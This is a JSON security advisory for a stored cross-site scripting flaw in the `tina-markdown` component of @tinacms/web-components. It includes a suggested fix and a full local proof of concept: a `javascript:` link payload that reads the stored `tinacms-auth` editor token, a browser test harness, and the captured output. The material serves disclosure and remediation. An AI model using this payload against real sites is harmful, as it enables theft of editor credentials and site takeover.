Vulnerabilities in pkg:npm/@tinacms/web-components

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c42q-qvc3-j6vg",
  "modified" : "2026-10-09T20:56:45Z",
  "published" : "2026-10-09T20:56:45Z",
  "aliases" : [ "CVE-2026-108260" ],
  "summary" : "@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS",
  "details" : "### Summary\n\n`<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === 'html' || node.type === 'html_inline') {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']\npackages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>\npackages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>\npackages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>\npackages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>\npackages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.\n\nDefault-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from '@tinacms/mdx/sanitize-url';\nif (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);\nif (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm\nnpm init -y >/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport './tina-markdown.js';                       // registers <tina-markdown>\nimport { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:\n\n```html\n<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>\n<body>\n<h1>Site page</h1>\n<div id=\"host\"></div>\n<script type=\"module\" src=\"/bundle.js\"></script>\n<script type=\"module\">\n  const ast = {\n    type: 'root',\n    children: [\n      { type: 'p', children: [\n        { type: 'a',\n          url: \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n          children: [{ type: 'text', text: 'click me' }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');\n  const el = document.createElement('tina-markdown');\n  el.setAttribute('content', JSON.stringify(ast));\n  document.getElementById('host').appendChild(el);\n  window.__ready = true;\n</script>\n</body></html>\n```\n\n`run.cjs`:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst PORT=8811, DIR=path.join(__dirname,'site');\nconst srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});\n res.end(fs.readFileSync(f));});\n(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');\n   return {hrefAttr:a&&a.getAttribute('href')};});\n await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=>window.__pwned||null);\n const control=await page.evaluate(()=>window.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held.\n\nControl — `control_sanitizeUrl_output` is `\"\"`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `<a href=\"javascript:alert(1)\">x</a>` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `<tina-markdown>`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R&D)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/web-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7523"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-83" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:56:45Z",
    "nvd_published_at" : null
  }
}